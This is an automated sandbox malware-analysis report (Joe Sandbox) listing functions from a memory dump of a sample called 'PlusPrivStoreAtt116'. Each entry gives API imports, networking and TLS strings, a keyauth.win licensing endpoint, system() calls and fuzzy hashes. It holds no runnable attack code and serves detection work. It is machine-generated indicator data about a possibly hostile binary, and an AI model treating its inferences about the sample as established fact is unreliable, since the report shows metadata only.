Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$CriticalErrorLastSection$Leavemalloc$Enter_strdupfreeaddrinfogetaddrinfomemcpysend
String ID:
API String ID: 506363382-0
Opcode ID: a6177786e67ce207a14383e80216342d564401e2ecc507d782a46ab400b51c53
Instruction ID: 806dc4eda7e47541fbccb8eea2687dc66b1d1c5ceb5d84091b810aa9da4233d5
Opcode Fuzzy Hash: a6177786e67ce207a14383e80216342d564401e2ecc507d782a46ab400b51c53
Instruction Fuzzy Hash: 42316631A0865285E7508F26E4A426E3BA0FF88BACF640135DE5EC36E9DFBCD485C740

Function 00007FF6029D6550 Relevance: 10.7, APIs: 7, Instructions: 242sleepnetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FF6029D65B6
WSASetLastError.WS2_32 ref: 00007FF6029D6776
Sleep.KERNEL32 ref: 00007FF6029D6786
__WSAFDIsSet.WS2_32 ref: 00007FF6029D689A
__WSAFDIsSet.WS2_32 ref: 00007FF6029D68B2
Sleep.KERNEL32 ref: 00007FF6029D68DD

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: cfc8ec446ff317ecc00fd428b9dae46fb424ecc2b66ae7b6bce6886c4fe073b3
Instruction ID: acc286c386f6c03c97d2620dc6005a30a0705d4194023bbb51642d32441e8b07
Opcode Fuzzy Hash: cfc8ec446ff317ecc00fd428b9dae46fb424ecc2b66ae7b6bce6886c4fe073b3
Instruction Fuzzy Hash: 02A10B35B1865686EB694F26E4103B96A99FF44BACF204235ED1EC7BC5DFBDE8009700

Function 00007FF6029D97C0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D99EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D9A2F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D9A57
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D9A99

Strings

schannel: ApplyControlToken failure: %s, xrefs: 00007FF6029D98C8
schannel: failed to send close msg: %s (bytes written: %zd), xrefs: 00007FF6029D99B3
schannel: shutting down SSL/TLS connection with %s port %hu, xrefs: 00007FF6029D983E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: schannel: ApplyControlToken failure: %s$schannel: failed to send close msg: %s (bytes written: %zd)$schannel: shutting down SSL/TLS connection with %s port %hu
API String ID: 1294909896-116363806
Opcode ID: 72219bcd79702ef453e5b09d7ccea601ae3333a927f190b2508ed3d9f268aa05
Instruction ID: 4b2708467bafa7b7afa8168c2f0e43b955dbb0a49a02fea2528c904e8855e6d4
Opcode Fuzzy Hash: 72219bcd79702ef453e5b09d7ccea601ae3333a927f190b2508ed3d9f268aa05
Instruction Fuzzy Hash: 5D914936A08F8586EB10CF26D8906AE3BB4FB88B99F640535CE4D87765DF78D445CB00

Function 00007FF6029DC5A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DC63E
memcpy.VCRUNTIME140 ref: 00007FF6029DC6D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DC80C

Strings

select/poll on SSL socket, errno: %d, xrefs: 00007FF6029DC7B4
schannel: timed out sending data (bytes sent: %zd), xrefs: 00007FF6029DC7D4

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemallocmemcpy
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 3056473165-3891197721
Opcode ID: b41d35e93228481b9e361a5bb19d82a80a1a014f54a5c8932dc0e415742b1979
Instruction ID: d2a02be3c55e65f92ef52830496cfbf8e2854970832e467324e8f3a9903183cb
Opcode Fuzzy Hash: b41d35e93228481b9e361a5bb19d82a80a1a014f54a5c8932dc0e415742b1979
Instruction Fuzzy Hash: D4718E72B05B058AEB10CB66D4506AD3BA5FF48BACF204636DE2D977C5EE78E406C740

Function 00007FF6029B7610 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B765E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B7675
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B77A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B77CE

Strings

Connection #%ld to host %s left intact, xrefs: 00007FF6029B788B
%s, xrefs: 00007FF6029B78D7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s$Connection #%ld to host %s left intact
API String ID: 1294909896-118628944
Opcode ID: 7665a385a49b6a18784097a82b69acf71c283a2eb38e737f672b30be921ec6bb
Instruction ID: 252d1d7b7831b87c950dd54fb515ee0f218a19f42c49829a7b9f45c9b1948c1e
Opcode Fuzzy Hash: 7665a385a49b6a18784097a82b69acf71c283a2eb38e737f672b30be921ec6bb
Instruction Fuzzy Hash: BD917632B0868182EB599F6696503FDAB95FF84B88F244935DE4E87756CFBCE450C340

Function 00007FF6029C1AA0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C1ACB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C1AE1

Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C18FD
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C191A
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C192E
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C194A
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1967
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C198A
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C199E
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C19B2
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C19D8
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C19EC
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A00
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A4F
Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A5C

Part of subcall function 00007FF6029C1880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A85

memset.VCRUNTIME140 ref: 00007FF6029C1B15

Strings

User-Agent: %s, xrefs: 00007FF6029C1BAF
Connected to %s (%s) port %ld (#%ld), xrefs: 00007FF6029C1CF1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$memset
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 2717317152-3248832348
Opcode ID: 7e6886faf88a525474308bef059ca3135f8386d9b2c87476bf9b61c78194a49c
Instruction ID: 87f7cc7529d0dcd856dbca3ec7accdb31a3cabc83a45f3ebb673ba53825eccc9
Opcode Fuzzy Hash: 7e6886faf88a525474308bef059ca3135f8386d9b2c87476bf9b61c78194a49c
Instruction Fuzzy Hash: 5B717D22A0CAC282E751DF26D0503BD2B60EF81F98F784535DA9D8B297DFB8E491C754

Function 00007FF6029D2020 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D20B8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D20C1
memcpy.VCRUNTIME140 ref: 00007FF6029D20DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D223C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D2245

Strings

1.1, xrefs: 00007FF6029D202F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$memcpy
String ID: 1.1
API String ID: 4107583993-2150719395
Opcode ID: 1c4f9d8f6cc8ea222318239ae0d0b33bff5049adf4c60fe77cde5224e2d48f34
Instruction ID: 7b939c18ed392069efa8225de84d733106ba0e1fc741cddc994c8d0bb0be8730
Opcode Fuzzy Hash: 1c4f9d8f6cc8ea222318239ae0d0b33bff5049adf4c60fe77cde5224e2d48f34
Instruction Fuzzy Hash: 52517072A04B8286D768CF22E8403AA7BA4FB48B88F548035DF9D87756DF7CE095D300

Function 00007FF6029C67E0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C68A6
recv.WS2_32 ref: 00007FF6029C68D0
send.WS2_32 ref: 00007FF6029C68F3
WSAGetLastError.WS2_32 ref: 00007FF6029C6905

Strings

Send failure: %s, xrefs: 00007FF6029C6935

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastmallocrecvsend
String ID: Send failure: %s
API String ID: 25851408-857917747
Opcode ID: 54a70cbaad24dc1b0fb0ed93030655e83525866fabab26ff7a7e0f2c7e7e2280
Instruction ID: a582b7081e27e410cf2782abed41bc6552e4e448acbe895f71c843ed0f6b3b29
Opcode Fuzzy Hash: 54a70cbaad24dc1b0fb0ed93030655e83525866fabab26ff7a7e0f2c7e7e2280
Instruction Fuzzy Hash: 4141CD76B09B8145EB648F26E85477A6A94AF88FECF240635CEAD87785DE7CE044C700

Function 00007FF6029B8708 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B8858
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B889F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B88CA

Part of subcall function 00007FF6029B7610: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B765E
Part of subcall function 00007FF6029B7610: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B7675

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B88FF

Strings

Resolving timed out after %I64d milliseconds, xrefs: 00007FF6029B7C46

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Resolving timed out after %I64d milliseconds
API String ID: 1294909896-3343404259
Opcode ID: 7a53e0a7d55959d416b0add4e115dcd4a29e0269d5a804bffd8908325d408303
Instruction ID: 319d049317175da56dfc2f0ea80f910d9ea0b8f1fc79164ac4688f9ad75c61c9
Opcode Fuzzy Hash: 7a53e0a7d55959d416b0add4e115dcd4a29e0269d5a804bffd8908325d408303
Instruction Fuzzy Hash: 42D1B162A0864285FB268F7A81543FC6BA4FF49B8CF285535CE0D97687DFB8E441C350

Function 00007FF6029A3560 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 157windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A28B7
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2927
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2987
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A29D7
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2A27

MessageBoxA.USER32 ref: 00007FF6029A3737

Part of subcall function 00007FF6029A4320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A379A

Strings

null, xrefs: 00007FF6029A35C2
keyauth.win, xrefs: 00007FF6029A36C3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: system$Message_invalid_parameter_noinfo_noreturnmemcpy
String ID: keyauth.win$null
API String ID: 3545939226-2841560827
Opcode ID: 3cf097f73151ea5b1f30424f91c2ebea1264c0c5fec36669e049bdd5d7a7ed1d
Instruction ID: da604fd3882a0f4294acd35cec7d7b025dfc35299a70b4029c7bcc5b13a2650a
Opcode Fuzzy Hash: 3cf097f73151ea5b1f30424f91c2ebea1264c0c5fec36669e049bdd5d7a7ed1d
Instruction Fuzzy Hash: DA51CB22E0879186FB04DB66D5593AC2B61EF05B8CFA04135DE4D97B8BCFBC91828384

Function 00007FF6029F2D90 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029C8F70: GetModuleHandleA.KERNEL32(?,?,?,00007FF6029F2DCA,?,?,?,?,00007FF6029C92FB), ref: 00007FF6029C8F84

GetProcAddressForCaller.KERNELBASE(?,?,?,?,00007FF6029C92FB), ref: 00007FF6029F2DE0

Strings

InitSecurityInterfaceA, xrefs: 00007FF6029F2DD6
security.dll, xrefs: 00007FF6029F2DBA
secur32.dll, xrefs: 00007FF6029F2DB3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: AddressCallerHandleModuleProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 2084706301-3788156360
Opcode ID: 6d94ad0bd16c8c0f11a2579dc9450e7ebb409a251943410b505cb19f3630012d
Instruction ID: 9f65670bbe8610bf9f91e6492fdd8a5c4a533de1a933e53591edb51433db5209
Opcode Fuzzy Hash: 6d94ad0bd16c8c0f11a2579dc9450e7ebb409a251943410b505cb19f3630012d
Instruction Fuzzy Hash: D9F04F65E49B0381FF88DB56A8957B12BA0AF6574CFB40834D80CC2392EEBCA585C300

Function 00007FF6029B823B Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

Resolving timed out after %I64d milliseconds, xrefs: 00007FF6029B7C46

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: Resolving timed out after %I64d milliseconds
API String ID: 0-3343404259
Opcode ID: 543579aadb1d74d10013c36e2f77582ef7459981ea7dede42a3c104d98e4bc4e
Instruction ID: e224f345219bffd1d03174df73d3621902270a67cb5c1e0f0a3daad596a06b45
Opcode Fuzzy Hash: 543579aadb1d74d10013c36e2f77582ef7459981ea7dede42a3c104d98e4bc4e
Instruction Fuzzy Hash: D7B19462A0864285FB668E7B81543BD2BA4FF45B8CF785535CA1E87287DFBDE841C340

Function 00007FF6029D1BE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D1CE0

Part of subcall function 00007FF6029D2270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22CA

Part of subcall function 00007FF6029D2020: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D20B8
Part of subcall function 00007FF6029D2020: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D20C1

Strings

TCP6, xrefs: 00007FF6029D1C67
PROXY %s %s %s %li %li, xrefs: 00007FF6029D1CB4
TCP4, xrefs: 00007FF6029D1C7A

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc
String ID: PROXY %s %s %s %li %li$TCP4$TCP6
API String ID: 3095843317-1242256665
Opcode ID: 8b0d76db602b129a0bfce4cbd9b83f6a544ee194d1b84e366e34e96e5543cac2
Instruction ID: 3a85ca901d0e454f31350290ed15edbd5cc6c1b423cf8a6d852f571717ee4421
Opcode Fuzzy Hash: 8b0d76db602b129a0bfce4cbd9b83f6a544ee194d1b84e366e34e96e5543cac2
Instruction Fuzzy Hash: 62419422A0C68686E760DB66E4413FA7FA1AF8578CF244432DA4DC7687DFBCE544DB00

Function 00007FF6029B64D0 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000,00007FF6029B2506,?,?,?,?,00000000,?,00007FF6029A371E), ref: 00007FF6029B64ED
closesocket.WS2_32 ref: 00007FF6029B65F9
closesocket.WS2_32 ref: 00007FF6029B6606

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: closesocket$calloc
String ID:
API String ID: 2958813939-0
Opcode ID: 28d21d9544194ec4c8a92fbe0cca9a50be666e2dc753f7074a652fd99a0cf093
Instruction ID: 0a8d04947bd635c31bc8941090097c4e5c42359268438bdc43d89e92ab171c71
Opcode Fuzzy Hash: 28d21d9544194ec4c8a92fbe0cca9a50be666e2dc753f7074a652fd99a0cf093
Instruction Fuzzy Hash: 61418031A08A4281E741EF36D4542E92B65FF88B6CFA44631DE5EC62DBEFBCE5458310

Function 00007FF6029B08F0 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,0000006E00000006,?,FFFFFFFF,00007FF6029A11F9), ref: 00007FF6029B0928
memcpy.VCRUNTIME140(?,0000006E00000006,?,FFFFFFFF,00007FF6029A11F9), ref: 00007FF6029B09C9
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029B09E7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
